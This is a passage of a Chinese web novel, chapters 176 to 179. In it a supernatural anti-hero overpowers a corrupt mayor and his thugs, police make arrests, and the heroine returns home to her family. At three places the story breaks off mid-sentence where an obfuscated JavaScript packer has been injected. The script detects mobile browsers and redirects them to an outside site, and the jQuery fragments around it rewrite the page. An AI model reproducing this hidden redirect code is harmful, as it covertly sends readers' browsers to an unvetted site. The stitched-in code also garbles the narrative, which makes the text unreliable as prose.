那声音震耳欲聋,不像是在敲门,更像是想要把这扇门砸开。 这小小的隔间内状况频发,堪称一个热闹。 张简栾暂且搁置了手头上的事,直起上身,不善地盯着门口,“谁?” 咚咚咚! 就像是没有听到隔间内的问话,外面的人还在敲门。 似乎是觉得哪里不对劲,市长给打手使了个眼色,后者领命,躲在了进门的死角。等张简栾隐蔽起身形之后,打手伸长了手臂,拽开了隔间的门。 从外面走进来的是一个身形精壮的男人,看起来约有五十岁,两鬓霜白,目光有些无神。 门口的裴佑哲看到来人,下意识叫了一声,“爸。” 裴正转过头去,看到自己一身狼狈的儿子,然而面上却没有什么反应。他就像没看见他一样,步履蹒跚地往隔间里走,似乎漫无目的。 “爸……?”裴佑哲发出困惑的声音,凑了上去,扶住连走路都有些不稳的男人,“你这是怎么了?” 看到来人是裴正,张简栾从屏风的后面走了出来,脸上是严肃的神色,“来得太慢了,裴正。” 市长的目光落在庄森芽的身上,似乎片刻都不愿意耽误,把她当成不会违抗命令的小绵羊,不容置疑地吩咐说:“给孙朴打电话,告诉他,他要见的人现在就在茶室,叫他过来。” 庄森芽的确并未违抗,她拿出自己的手机,指尖有些颤抖。 不是因为害怕,而是因为有点激动。 终于,这一刻到了。 结局如何马上就要见分晓。 她拨通了那个未曾备注过的电话号码,等待片刻之后,它被接了起来。 “喂?孙先生,你要见的人已经在茶室了。” 听筒的对面响起了一串压低的轻笑,那不是孙朴的声音。 这笑声如此熟悉,熟悉到不需要看到,庄森芽就知道对方现在是怎样的表情——勾起的嘴角,猎食者的目光,按捺不住地想要破坏什么的兴奋。 “好的,我现在就过去。” 她没有开免提,但僻静的隔间内,电流模拟出来的人声还是四溢而出。 离庄森芽不远的地方,张简栾狐疑地眯起眼睛,盯着紧握着手机的人,低沉的声音随之而来,“你在和谁打电话?” 她没来得及回答,手机就被人抢走了。 张简栾夺过它,瞪着手机屏幕。上面的电话号码还是前不久打出去的那一个,这让他紧张的脸色平静下来几分,但也没冷静多少。 似乎是通过手机号码确信了对面的人的身份,张简栾没有怀疑,开口一连串说了很多,“孙朴,你就在这附近吧,裴正已经到了,你应该躲在哪里看到了吧?你有什么想和他说的,现在就来茶室——” “孙先生来不了了。” 这个时候,一个脚步声在隔间外的廊道内响起,与此同时,颇为悠闲的音色从听筒和现实中一并传来。 “所以暂时由我来陪你们玩玩。” 看到门口那个人的时候,庄森芽的眼泪几乎都要掉下来了。 诺特斯! 从未有这样的一刻,她觉得对方好像是什么神祇下凡,来解救深陷疾苦之中的她。 这个形容可能有点夸张,但也就只有这样才能表达出来她现在心情的激动。 “……你是什么人,孙朴在哪?”张简栾盯着他,神色骤然不善,“还有,你是怎么进来的?” 诺特斯将手机揣回口袋里,走进隔间,昏黄的光线打在他的身上,庄森芽这才看到他手上还拎着一个人。 真的是拎着一个人,他提着那人的衣领,像是拎着一块巨大的抹布一样,将对方在地面上拖动。 “安保的实力还需要再提升。”他笑着点评。 一个发力,身后的人被甩了过来,定睛看去,发现是前不久离开茶室的另一个打手,他似乎已经失去了意识,被扔在地上也毫无反应。 见到来人之后,裴佑哲也露出惊诧的表情,他显然知道这个人是谁,“你为什么……” 说话的时候,他还扶着自己的父亲,可裴正就仿佛完全和外界断开了联系,目光漫无目的地游荡着,仿佛没办法集中注意力,脸上失去了精明,变得几乎有些痴呆。 就在这局势十分紧张的一刻,那埋伏在门侧的□□窜了出来,朝诺特斯的方向猛扑过去。 庄森芽看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894417|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他的动作,情急之下大喊,“诺特斯——!” 男人没躲,连看都没看,目光转而落在庄森芽的方向,露出一个宽慰的笑容来,抬起脚步就往她的方向走。 嘭! 打手撞在了门旁的墙壁上,扑了个空。他猛然转过头来,刚毅的脸上满是震惊的神色,“怎么回事……我明明扑到了……” 在场的人都露出诧异的神色。 张简栾的脸色更黑了,如临大敌一般朝后退去;搀扶着裴正的裴佑哲目不转睛地看着发生的一切,嘴巴紧绷着,脸色有些惨白。 但庄森芽认为,在场最惊讶的人,应该是自己。 诺特斯……有史以来第一次,当着其他人的面,展现出了自己的能力。 他疯了。 要不就是她疯了。 可是其他人震惊的脸庞告诉她,她没疯,也没看错,他的的确确就是这么做了。 嗯,一定是世界末日要到了,所以对方才会这么肆无忌惮,对,没错,一定是这样。 就仿佛看穿了她心中所想,又因她的反应而笑得开心,诺特斯在缓步而来的过程中,语气轻佻且散漫地说道:“没什么关系吧?反正这些人都要牢底坐穿了。” !就这么直接说出来了真的可以吗!? 果不其然,他话音落下,一旁的张简栾立刻警惕了起来。他眼神滴溜溜地转,显然是明白过来这是个陷阱,开始算计着逃跑的路线。 眼看着他要行动,庄森芽连忙指着他说:“他要跑!” 张简栾已经动起了脚步,朝诺特斯的方向撞过去,后者正站在他逃跑的必经之路上。 诺特斯依旧没有闪躲,两个身影擦肩而过,金色的眼睛在某个瞬间变得阴寒无比。 下一刻,一声闷响响起,紧跟着市长凄厉的痛呼,“啊!!” 没人看清发生了什么,两人只是擦过侧身,然而张简栾的身形却轰然摔在地上,滚了一圈才停下。 仔细看去,他左胳膊的衣料全烂了,露出那下面的皮肤来,然而皮肤也没好到哪里去,红色的筋脉清晰可见,血管噗噗往外冒着血,看起来像是被生生扒掉了一层皮。 庄森芽正诧异地盯着,然而诺特斯却挡在她面前,将那副惨不忍睹的画面隔绝开来。 他背对着她,声音戏谑,竟是将张简栾一度说过的话重复了一遍,“得罪不起的人就不要招惹,这点道理你爹妈没教过你吗?” 现任市长匍匐在地上,用发胶打理过的短发全都乱了,他半是惊恐半是羞脑地盯着诺特斯。 “你到底是什么人……”他咬牙切齿地问,眼角甚至因为疼痛而渗出泪来。 诺特斯没回答,只是单手掠过左臂的衣物,轻轻抚着,像在清理不可见的灰尘。 打手见状,凑过来想要把市长扶起来,却似乎是碰到了痛处,惹得张简栾顿时吱哇乱叫,全是难听的骂人之词,将打手贬得一文不值。 “我雇你来吃白饭的吗?打!给我往死里打!”口水从嘴角流下,疼痛和恼怒混杂在一起,使他变得十分狼狈。 打手站起来,调整了一番姿态,从身后的口袋里掏出了一把小型的折叠匕首。 可惜这么大的块头,真到了打架的时候用上的却还是冷兵器。他摆出攻击的架势,朝诺特斯突刺而来。 这次诺特斯仍然没躲,但抬起了一只手来。 下一瞬间,那只手接住了捅向他心脏的白刃。 一阵刺耳的摩擦声响起,眼前的身形略微一摇晃,又很快站直了。 庄森芽倒吸了一口冷气。 诺特斯没隐身……难不成被刺中了? 177. 一般不会笑 她来到他的身侧,忧心忡忡地看过去,看到男人的手掌握着打手的拳头,两人正在僵持着。 而那中间本该存在的白刃,竟然已经不翼而飞了,只剩一个光秃秃刀柄握在打手的手中。 后者显然没明白过来是怎么回事,怔愣的时候,被对方先发制人。 诺特斯伸出一只手,犹如鹰爪一般扣住打手的后脑,顷刻之间,将近两米高的男人翻了个白眼,而后,就像骨头都被抽光了一样,轰然倒了下去。 没人看清诺特斯做了什么,但结果是显而易见的,他不费吹灰之力就击败了对手。 所有人都看傻了眼,就连熟知他并非一般人的庄森芽也是同样,她极少亲眼见到他真正意义上动真格的模样,今天算是第一次见到了。 此刻,胜者近乎残忍地笑着,但还不忘用指尖轻碰了一下她的脸颊,只是他没看她,动作仿佛是在叫她安心,告诉她他有分寸。 紧接着,他朝张简栾的方向走去,步伐是那么的缓慢,就仿佛在享受这个折磨的过程,猎物眼中的惊惧会让他感受到兴奋。 “我不太擅长让人昏睡过去。”诺特斯在张简栾的面前蹲下来,阴影笼罩而至。 他取走了对方胸前的一枚胸针,捏在手心里,发出咯吱咯吱的声响,再打开时,那枚金制的胸针变成了一滩金黄的齑粉。 “我更擅长让人永远闭嘴。”他笑着说,把那滩金粉像骨灰一样泼在了市长的脸上。 张简栾怪叫了一声,用完好的那只手臂捂住自己的脑袋,仿佛对方泼来的是什么滚烫的沸水,“你想要什么,你到底想要什么……” 他声音开始颤抖起来,人也早就失却了余韵。 “我啊……” 诺特斯话没说到一半,茶室外面响起了此起彼伏的警笛声,一浪接一浪,红蓝色的闪光似乎要将这里淹没。 张简栾一副心惊肉跳的模样,像被那些刺耳的鸣笛声吓住了,抱着自己的手臂瘫在地上。 另一边,裴正跟着警笛声拍手叫好,智商仿佛回到了三岁。裴佑哲则在一旁闭上了眼睛,像是接受了什么一样。 只有诺特斯一脸不甘,仿佛那些警鸣声是来限制他的,而他还没有尽兴。 “怎么这么快……”他嘀咕着,有些不情愿地从那落魄的市长身旁起身。 庄森芽看到男人在朝自己走来,配合并不明亮的灯光,身影宛如漆黑的厉鬼。 “我的诱饵小姐,没受到什么伤害吧?” 诺特斯抬起手臂,那本该布满鲜血的手掌因他的能力而一尘不染。 地上都是他的杰作,幽静的茶室仿佛变成了泣血的舞台,他突如其来地降临,为这次的争端带来一场既定的谢幕。 和这家伙一起的时间长了,庄森芽几乎快要忘记,站在敌人的角度看他,究竟是怎样可怖的感受。 然而她已经不会再害怕了,不会再像以前那样躲开。 毫不犹豫地抓住恶鬼的一只手,她像往常那样和他控诉,“我倒是没什么事,但是我的手机负伤了。” “那还真让人心痛。”他颇有闲情地说,“希望你已经备份了我们之间所有的回忆。” 脚步声响起了,有人包围了这个隔间。 紧接着,警察出现在视野里,中气十足的声音宣布着,“经市民举报,本市一桩严重案件亟待重审,请协助配合调查!” 身穿制服的人挤进了这个并不大的隔间,使它变得愈发拥挤不堪。 而后,机承望的身影姗姗来迟。 在看到机承望的那一刻,张简栾似乎什么都懂了。 先是惊诧在他的脸上浮现,而后是恍然大悟,最终是无底的仇恨。 被身边两个辅警架起来,现任上茂市市长开始歇斯底里,“抓我干什么,别碰我,放开!” 张简栾狼狈地咆哮着,口水四溅,手臂在不停地流血。 可他越是挣扎,束缚的力量就越大,最终被压在棋盘桌上,脑袋砸进了黑白子之间,整个人动弹不得。 “疯子,你们这群疯子,知不知道我是谁!?” “请配合调查!” “调查,调查什么?”张简栾的脸色无比扭曲,他瞪着这些年轻的辅警,嘴上是恶狠的语气,“今天你们敢抓我,明天我会让你们从上茂市消失!” “哎哟,你好像没这个权力了,简栾。”这时候,隔壁市长机承望两手插兜,踱步而来,仿佛只是买菜经过这里,他甚至连惯常的西装都没穿,“再多看看上茂市两眼吧,明天你可能就不在这里了。” “机承望……”张简栾瞪着对方,血丝在眼中遍布,“是你设计了这些。” “不敢当,也不完全是我做的。”他往诺特斯的方向看了一眼,像是不敢一个承接这份功劳一样,居然还表现出谦虚的态度来。但转瞬,他的语气又变得感慨,“害人者终害己,当年毕业时老师送我们每人一个的牌匾,看样子你是早就丢了。” “你以为这样就赢了,是不是,以为攒拢了孙朴,就能给我定罪了。” 机承望无可奈何地笑起来,俯下身去,侧看着被按在桌子上动不了的张简栾,“我怎么会那么轻视你,简栾。当然是人证物证全都备齐了,才敢鼓起勇气来见你啊。” 话音落下去,张简栾瞪大了眼睛,还没等说什么,他就被两个辅警提了起来,戴上了手铐。 那冰冷的器物拴住手腕的时候,他彻底慌了神,牙关紧咬着,脸上浮现出惊恐的神色,“等等……你们不应该抓我,你们抓错人了!” 被推搡着往门外走,张简栾扭过身来,指着机承望,颤抖着吼道:“抓他啊!是他监管不当,导致市民集体食物中毒,是这个伪正人君子的错,是他有罪,不是我!” 然而没人理会他的咆哮,张简栾绝望地扒着门框,像在做最后的挣扎,目光落在隔间更深处的人身上,“还有他!那个不知道哪来的,他也有问题,你们是看不到吗?我手臂上的伤是怎么来的,还有……还有我的胸针——!那是个怪物,你们是都瞎吗!?现在当务之急是控制住他,不是我——” 扒着门框的手指被掰掉了,张简栾的声音在廊道里回响着,‘穿过’、‘灰烬’一类的字眼从口中源源不断地冒出来,他咒骂着,像是疯癫。 隔间内,警署还带走了几伙人:两个不省人事的打手被救护车抬走了,而一身狼狈的裴佑哲和痴呆的裴正也被警方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894418|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带了出去。 庄森芽和诺特斯站在靠里的位置,两人挨得很近,旁观着刚才发生的一切。 “结束了。”诺特斯低下头来,对她说。 她抬起头来,尚且心有余悸。 从进入这个茶室开始,就没有一刻不在紧绷着,这里发生了大多的事情,又发生得太快,使人应接不暇。 但有一点可以确定的是,张简栾和裴正现在都在警方的手里,他们最初的目的已经达到了。 至于那中间的过程,可能需要一点时间才能消化。 此刻,令人最在意的事情是这一件—— “刚才在场的人都看到你……” 诺特斯似乎明白她的顾虑,俯下身来,在她耳旁轻声说:“这里没有监控,我确认过。” “干嘛那么冲动。想耍帅吗?”她几乎有些抱怨了。 要是暴露了,被抓去当小白鼠怎么办? 男人用那双粘稠的金色眼眸注视着她,似乎是觉得有点好笑,喉咙里冒出沉闷的隆隆声,“我又控制不了。” “控制不了什么,想耍帅的心情?” “报复心。” 这三个字几乎是在他齿间发出来的。 听到这一句,庄森芽就明白过来了。 从诺特斯进门开始,他针对的人就只有一个——张简栾。而张简栾之前在这个隔间里做过什么,不用怎么想也能回忆起来。 庄森芽移开视线,就像被对方的话语烫到了一般,心跳也不由得变快了一些。她转移话题,“可是……要是他们在警察面前口述了刚才发生的事情,怎么办?” “这都是小问题,机市长会摆平的。”诺特斯稍稍站直了,给了她一些空间,口吻也变得轻松起来,“而且,就算说了,大概率也会被警察当成是精神错乱。” 她狐疑地盯着他,“怎么会。” “怎么不会,要是哪天一个陌生人和你说,这世界上有人长翅膀能飞,你会把他当成疯子还是信他的话?” “……”庄森芽沉默片刻。 如果是这种情况,好像确实会把对方当成神经病。 “要是……”她突然联想到了什么,有点犹犹豫豫地开口,“要是我一开始认识你的时候,直接去报警,不会也是这样的下场吧。” 诺特斯看着她,笑而不语。 看着他的模样,她陷入了沉思。 认真想想,说不定真的会被送去精神病院…… 幻想的警局中。 庄森芽:『我说一件事你们不要害怕,我笔下的人物从漫画里跑出来了啊!』 警察:『庄女士,您是说有人给您的漫画出Cos了吗?』 庄森芽:『什么Cos,我是说人!一个大反派,他在现实中出现了!』 警察眉头紧锁,关切地把两手放在桌面:『是身边有什么坏人,性格和您笔下的反派如出一辙?』 庄森芽:『不是啊,我是说他本人,原封不动,从漫画里蹦出来了!』 警察:『噗。』 庄森芽无语:『你笑什么?』 警察:『我想起高兴的事情。』 她的一世英名与清白,卒。 178. 正规手段是留给败者的 小剧场在脑海里上演着,这时候刚巧有一名辅警朝他们走过来,庄森芽赶忙晃晃脑袋,把那些画面从脑袋里甩了出去,生怕它们成真了似的。 “两位要是身体没有什么状况的话,方便和我们回一趟局里吗?”年轻的辅警问,看样子是需要当事人的笔录。 自然是没什么意见,庄森芽拿上自己的东西,和诺特斯一起跟着他们走了。 离开茶室,发觉外面停了很多警车,似乎不光是为了逮捕张简栾和裴正而来。 上了一辆警车之后,庄森芽在另一辆上面看到了一个熟悉的身影。 那是石?h诗,她坐在明显是押送犯人的车上,头低垂着,但面色看起来很平静。被逮捕的还有一群混混模样的人。 “等等,?h诗为什么会在那里?”庄森芽扒着窗户问。 “门前发生了一起斗殴事件,有人报了警。”开车载他们回警局的警察说,“还挺巧的,两起案件都是在这里。” 难道是刚才裴佑哲被叫出去的时候…… 看到这幅场景,庄森芽不由得又想起来刚才在茶室的那番对话。 一个毁了另一个的名誉,一个叫另一个遍体鳞伤。裴佑哲和石?h诗这两个人,可谓是鱼死网破,谁也没有放过谁。 警车载着他们走远了,视线再也不及,庄森芽若有所思地回过头来,喃喃自语,“有必要做到这个份上吗……” 不过她还是更站在石?h诗那边,毕竟她是她的舍友,更何况,刚才石?h诗间接中从困境中解救了她,庄森芽对她还是很感激的。 此刻,坐在她另一侧的诺特斯开口了,“那小子之后应该会变得正常一点吧。” “谁?” “你的佑哲学长。”他挑挑眉,一副理所当然的模样。 庄森芽瘪瘪嘴,“瞧你阴阳怪气的样子,不就是一个备注名吗。” “‘不就是一个备注名吗’。”诺特斯用她的口吻重复着,“那你倒是改呀,放在那里是想时不时拿出来气我一下?” “心胸狭隘。”她翻出手机,嘲讽他说,“言归正传,他会正常一点是什么意思?” “就是……他之前可能受到了一点影响。”诺特斯往庄森芽的方向靠拢了一些,似乎是想监督她改名。 “什么影响?” “嗯,一些不太好的影响。”诺特斯模糊地说,声音放轻了一些,像在自言自语,“不过他也不会变好太多吧,毕竟底色也就那样……” 庄森芽听了,抬起头来盯着他的侧脸,“你支支吾吾,模棱两可的,到底是想说什么?” 他移开目光,想要抽身,“不,没什么。” 她把手机扣了下去,又把撤身要跑的人抓了回来,揪着他的发梢,“你不说清楚,这个备注我就不改了。” 稍稍发动能力就能逃开的人并没有那么做,他老老实实被庄森芽抓着,就好像这小小的禁锢真的让他动弹不得了似的。 警车开上了高速,空气与车身的撞击声埋没了他们的对话,让前座的人很难听见。 诺特斯露出一个有点勉强的笑,“哎呀,你就不能当我刚才什么都没说过……” “不能,快点。”她改成两手抓着他的衣领,甚至还晃了晃,像是试图从他身上摇下来几句真心话。 诺特斯包住了她肆虐的拳头,脸色有点无奈,“好吧,是尤梭,不太好的影响是指尤梭。” 庄森芽一愣,大声嚷道:“佑哲被尤梭附身了!?” “那……倒是不至于。”他把她的手从领口拿了下来,攥在手里,又看了一眼前方开车的、似乎无所觉察的警察,压低了声音,“怎么说呢……算是有几缕尤梭的恶念始终在纠缠着他吧。” 她反应了几秒这句话,而后露出诧异的神情。 这种事情,怎么听起来和天方夜谭一样…… 不,更像是恐怖小说里才有的情节。恶念……听着就让人汗毛倒立。 “你说的,真的假的。”她也意识到了刚才自己的音量过大,于是放轻了声音。 “不信你去问问纳迪娅。”诺特斯又搬出了严谨的科学家的名字,“灵异事件可能不得人心,但频率波段的异动总不至于造假。” “……”庄森芽一时陷入了沉思。 的确,有了科学家的头衔,什么妖魔鬼怪的形象一下子就从脑海里散去了。 不过,这个意思是说……裴佑哲是受到了那个尤梭的影响,所以在性格上产生那么大的变化吗? 也就是说,她这后半个学期一直以来受到的那个来自学生会主席的压迫,很有可能都不是出于对方的本意? “影响……是从什么时候开始的?” “大概从我来到这个世上的第一天。” “你把那些恶念带过来的!?”她声音又有点控制不住了。 诺特斯连忙捂住她的嘴巴,推脱,“可不是我。通道打开之后,什么东西都能过来,我可管不了。不过现在通道闭合,那些不属于这个世界的东西也都回去了——当然除了我——所以我说那小哥应该已经恢复正常了。” 庄森芽在心里默念着冷静一些。 裴佑哲被尤梭影响什么的,听着好像挺离谱的,但实际上…… 也挺离谱的。 但是,没关系,考虑到诺特斯这个人本身的存在就已经很匪夷所思了,另一个世界的恶念什么的也不是不能理解。 而且这么长时间过去,她也该习惯了这些不寻常的事情,没必要再那么大惊小怪的。 人是习惯性很强的动物,习惯就好了,没错。 庄森芽压住了心里毛毛躁躁的心情,思考片刻,又问道:“……你是从什么时候知道这件事的?” “大概是十月初吧。”诺特斯回忆一番,回答她。 她反应了一下,“那不就是你去全球巡演的时候?” “是。” “也是你从纳迪娅那里得知,你能留在这个世界上的时候。” “对,就是那一段日子。” 庄森芽眉头又皱起来了,话没说两句,声音也开始控制不住,“这么重要的事情你怎么现在才告诉我?” 诺特斯干脆把她抱进怀里,来到后视镜的死角,悄声道:“很重要吗?” “当然了。”她瞪着他,坐在他的腿上,小臂卡在他的胸膛,一副审讯的模样,“让你被哈兰突然翻脸不认人,你好受吗?” “你跟他的关系就像我和哈兰那么好?”诺特斯露出有些意外的表情,理解的角度十分清奇,“那我更要拆散你们了。” “你……!” 她顿时被噎住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894419|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个人,居然大言不惭就把自己的想法说出口了,连掩饰也不掩饰一下……! “咳……” 还想说什么时,前座上传来了有些刻意的咳嗽声。 开车的警察没回头,但似乎在通过这样的方式提示他们:这是警车,注意一下行为举止。 可能是因为听不清后座的话语,余光又能看到两人凑在一起,仿若耳鬓厮磨,所以误会了些什么。 于是乎,什么都没做的两人分开了,一个气鼓鼓的盯着窗外,另一个在看盯着窗外的人。 一只手摸了过来,把她的牵起来,庄森芽抽了回来。可是没过多久,它又不折不挠地缠上来,只不过是讨好似的钻到皮革与手掌的缝隙里,把她的手托了起来。 倒是没那么讨厌了。 庄森芽没动弹,心想他要是得寸进尺,她就立刻抽手。然而,整条去警局的路上,对方都十分知分寸,连拢都没拢一下,堪堪托着它。 就仿佛只是接触就已经心满意足了。 到了警局之后,庄森芽把口袋里的录音笔上交了上去。出于需要,她和诺特斯去了不同的房间。 把自己经历的事情从头到尾说了一通,每个细节都没有被放过,直到最后,感觉嗓子都要冒烟了。 她在警局待到了很晚,这里的警察对一个大学生并没有什么防备,她也知道了事情的前后脉络,包括一些未曾经历的前因后果。 原来早在她在社交平台上发布第二篇文章的时候——就是公开表示‘孙朴先生会帮我拯救光曙公司’的那篇——就已经惊动了张简栾和裴正二人。 这两人很快发现了有人在调查他们,所以张简栾欲意将裴正遣送出国,究其原因的话,是因为张简栾过去很多见不得人的事情都是借裴正的手去做的。 就比如两年前的食用盐食品安全事件,主导事件的是张简栾,然而去与供应商孙朴联络的却是裴正,把孙朴拖下水的也是裴正,从头到尾,张简栾在这次事件中几乎没有出面过。 如果裴正这个人联系不上了,说得难听点,很多事情就‘死无对证’了。 所以,张简栾是比任何人都希望裴正消失的。 于是他哄骗裴正先出国,躲过这一阵,并承诺在此期间会照顾好他的儿子裴佑哲——但这只是一种变相的人质。 然而,这位市长根本没打算让裴正回来。 在裴正去往机场之前,张简栾派遣早就安插的卧底,在这个腾滨集团董事长的早餐里混入了过量的致幻剂,在他登机之后,药效就会发作。 幻觉会让他做什么,就没人能够预料到了。 就算裴正能顺利抵达墨西哥,在那里等待他的也不是安适的酒店,而是计程车上的水果刀。 但这一切都没有发生,因为庄森芽打给‘孙朴’了那一通电话。 孙朴说要见到裴正,然而这话却并非出自本人的意愿,那时候他正在警局里,身处局长的严厉注视之下。 张简栾为了引蛇出洞,不惜把已经到达机场的裴正又叫了回来。 也幸亏是这个决定,让警方最终顺利将他与裴正两人双双擒获。 对于整次事件,局长站出来,代机市长对庄森芽的付出表示了感谢。 赞扬让她有点恍恍惚惚,直到离开了警局,她还有点飘飘然的。 179. 全名的威慑力 此刻天已经黑了,路灯上结着薄薄的霜,让灯光都显得模糊了一些。 诺特斯似乎很早就被放出来了,正在警局门口的一个雪堆旁等她。 两人汇合,商量了两句,打算先回家。 今天稍早的时候,他们是开庄洪成的车出门的,然而来警局却坐的是警车。那辆车被扔在了茶室,现在大概还在那里孤零零地停着。 然而天色已晚,他们都没有把它接回家的想法。 两人打了一辆车,就这么回到了庄森芽一家人所住的公寓楼。 下了车,来到单元楼的门前,庄森芽回过头来,眼睛在暗夜中亮亮的,“我还没想好怎么告诉爸妈这个喜讯。” “嗯?”诺特斯看起来有点心不在焉。 “张简栾倒台,机市长回上茂市就职。裴正失去了他的后台,暗地里和光曙公司作对的人也就不在了。”她陈述着自认严谨的逻辑,“这不是你和我说的吗?” 对方了然,说话的时候嘴里呼出暖白的气团,“啊,是这样的。那就提前恭喜他们吧。” “你怎么回事。”她戳了一下他的腹部,指尖陷进了羊毛呢大衣里,“离开警局之后就心事重重的。” 这一路上诺特斯都没怎么说话,要么是盯着窗外,要么是玩具一样拨弄她的手指,净是些幼稚的行为。 诺特斯闻言,低下头来,原本漫无目的的视线聚焦在她的脸上。 他们无言地对望了一阵,气氛略有些微妙。 “怎,怎么……”庄森芽一开始还不明所以,然而被那双摄人心魂的眼睛注视久了,她渐渐意识到什么,不由得紧张起来,嘴巴也抿紧了。 难道……难道这就是那一刻吗? 她一直在期盼的一刻? 之前诺特斯承诺过的,说等腾滨集团的事情解决之后,在兑现了所有他曾答应过她的承诺之后,他就会…… 真的?现在?在这里? 就在她家楼底下?黑黢黢的楼洞口?在这个什么也不是的时刻? 倒也……不是不行吧。 她等这一刻太久了,以至于退让到不在乎时间地点,只要别是在凌晨的垃圾桶边上就算成功。 眼里无法遏制地出现了期待,她仰着头看着他,几乎屏息凝神,等待着他把那句话说出口。 诺特斯深深地吸了一口气,把她拉近了一些,附唇在她耳旁,“森芽,我有话想和你说。” 要来了。 她强装镇定,可压制不住内心的激动,极力放轻了声音,才不让那其中的兴奋显形,“嗯,我听着呢。” “我……”男人的声音像在叹息,又蕴含着太多的情绪。 她感觉自己的心脏怦怦直跳,几乎要从嘴里蹦出来,证明它的欣喜。 在这紧张的关头,她听到诺特斯说—— “不吃晚饭了。” 不知哪来的猫头鹰在树枝上咕咕地叫,昨夜下的新雪静谧无声。 庄森芽眨眨眼睛,身体里兴奋的余温尚未冷去,她机械地重复,“……不吃晚饭了?” “嗯。”他把她放开,无害地笑起来,“告诉你爸妈,不用留我的份。” 她愣愣地盯着他,半晌才回了一声,“……哦。” 拍了拍她的脸颊,诺特斯转身要走,“那就这样,我还有些收尾工作要做。” 一阵寒冷刮过,身体里的余温终于散尽了。 剥去兴奋的外壳,愤怒的底色露了出来。 庄森芽双眼大睁,一瞬间像是炸毛的猫一样,整个人都要跳起来,“诺特斯·辛格!!” 没走半步的男人停下了脚步,有些惊诧地转过头来,那意外的眼神仿佛在说,他从来没听过她用这么暴怒的声音叫他的全名。 她怒喘着气,仿佛全身的汗毛都立了起来,用一双满是羞愤的眼睛瞪着他,“吃吃吃,一天天就知道吃,撑死吧你!” 这句话撂下,她钻进了单元门,头也不回。 坐上了前往六层的电梯,全身上下仿佛都被愤怒激活了,电梯门开得太慢她都想上去给两拳。 讨厌,烦人,恶劣至极! 站在家门口,烦躁地抓乱了自己的头发。 说句喜欢会死吗?非要这么折磨她! 怎么,耍她很好玩?看她气急败坏很有意思? 为什么就是不说?! 她在家门口制造了一连串的骚动,这声音引来了室内的人。 门打开,一束暖橘色的光线打过来,照亮了走廊里的人。 祁欢看着自己发型凌乱不已的女儿,连忙迎了出来,“呀,芽芽,怎么了?怎么在家门口待着呢?诺特斯跟我说你们有事出去了,怎么就你一个人?” 庄森芽失魂落魄地走进房门,挂在自己老妈的身上,“别提他,妈。” “好好,不提。”她十分有眼力价地转移话题,“你……还没吃晚饭吧?正好你爸刚带了一桌子菜回来,有你爱吃的拌鱿鱼。” 来到了饭桌上,香气让她恢复了一些精神。 爸妈有些忧心忡忡地打量她,都是一副不知道自家女儿身上发生了什么,想问又不敢问的模样。 看他们这个样子,庄森芽直想骂自己是个混蛋。不过就是一个小小的挫折而已,干嘛要让家里人担心呢? 她拍拍自己的脸蛋,把那些烦恼的事情暂时抛在一边,盯着桌上的菜肴,眼里放光,“这些……是老东厨他家的菜吧?” 见她恢复了精神,祁欢连忙接上话题,“是,你爸每次都嚷嚷着要吃。我说他家盐放得太多,他就像听耳旁风一样。” 庄洪成坐在对面,两只大手局促地捏着细长的筷子,“偶尔吃一次又没什么问题,不然咱俩都没空做饭,难不成喝西北方去啊。” “喝西北风还减肥呢。” “哟,那是你的追求,可不是我的。”庄洪成往自己碗里夹了几块肉,然后就把那盆红烧肉推到了母女俩的面前,“天天忙前忙后的,像个轱辘似的连轴转,我巴不得长点膘呢,不然消耗不起。” 祁欢露出嫌弃的表情,用根本什么都遮掩不住的筷子挡住脸,又用其实谁都能听见的声音侧身悄声对庄森芽说:“你爸太笨,忘性还大,别人一趟能跑完的流程,他得来回四五趟,他不累谁累。” “我那是谨慎。谨慎,懂吗?”他强调,“对待患者可马虎不得。” 祁欢再次小声点评,“也就责任心能拿得出手。” 庄森芽痴痴地笑着,因这无伤大雅的拌嘴而乐得开心,“爸,妈,我有一个好消息要告诉你们。” 夫妻俩齐齐投来视线,等待着她嘴里的好消息。 庄森芽把想好的话重复了一遍,但没说她今天具体去做了什么,免得这两个人又开始担心。 她只表达了光曙公司的境遇会变得更好,因为腾滨集团失去了靠山,不可能再那么针对他们了。 听闻机承望大概率回到上茂市继任市长,庄洪成大喜过望。得知两年前的食品安全事件得到昭雪,夫妻俩更是出了一口恶气般,替不在这里的机承望感到高兴。 两人开始滔滔不绝,讨论着要怎么和老朋友好好庆祝一番,如何宴请才能对得起这两年的颠沛流离。 